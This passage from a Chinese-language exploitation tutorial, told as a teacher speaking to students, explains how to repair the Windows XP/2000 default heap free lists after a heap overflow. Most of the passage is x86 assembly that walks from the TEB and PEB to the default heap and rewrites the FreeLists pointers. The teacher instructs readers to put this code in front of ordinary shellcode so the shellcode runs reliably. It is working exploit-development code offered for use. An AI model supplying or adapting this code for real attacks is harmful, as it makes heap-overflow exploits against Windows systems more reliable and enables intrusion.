6.3.1 恢复堆链表
“第一个技巧就是恢复堆链表。”
“我们在堆溢出利用时说过,”老师说道,“需要把堆链表进行恢复,才能运行一些ShellCode。”
“恢复的思路就是:找到系统中堆结构的开始地方,把覆盖后的堆块还给系统。”
“在这里,我们没有必要详细讲解Windows的堆结构了。直接给出恢复堆链表处理代码和解释吧!”
//XP edii+74是下一堆块管理结构,如果是Win2000,就是esi+0x4C
mov edx, dword ptr[edi+74]
// 把ebx赋为0x18
push 0x18
pop ebx
// 得到TEB,fs:[18]和fs:[0]都是指向TEB的
mov eax, dword ptr fs:[ebx]
//从TEB+0x30得到PEB
mov eax, dword ptr[eax+0x30]
// PEB+0x18为默认堆地址指针
mov eax, dword ptr[eax+0x18]
//把TotalFreeSize的值给堆管理结构的第一部分size
add al,0x28
mov si, word ptr[eax]
mov word ptr[edx],si
//把堆管理结构第二部分sizeprevious size设成 8
inc edx
inc edx
mov byte ptr[edx],0x08
//设置堆管理结构的其他部分
inc edx
mov si, word ptr[edx]
xor word ptr[edx],si
inc edx
inc edx
mov byte ptr[edx],0x14
inc edx
mov si, word ptr[edx]
xor word ptr[edx],si
inc edx
inc edx
// 堆基址+0x178的地方为FreeLists结构
add ax,0x150
// 让FreeLists[0].Flink和FreeLists[0].Blink都指向堆管理结构
mov dword ptr[eax],edx
mov dword ptr[eax+4],edx
//让堆管理结构也指向FreeLists,完成堆的恢复
mov dword ptr[edx],eax
mov dword ptr[edx+4],eax
“至于Windows堆结构的讲解,以后有机会我们再讲吧!”老师说道,“现在我们直接拿来用。在一般的ShellCode前加上这段代码,就可恢复覆盖掉的堆结构。”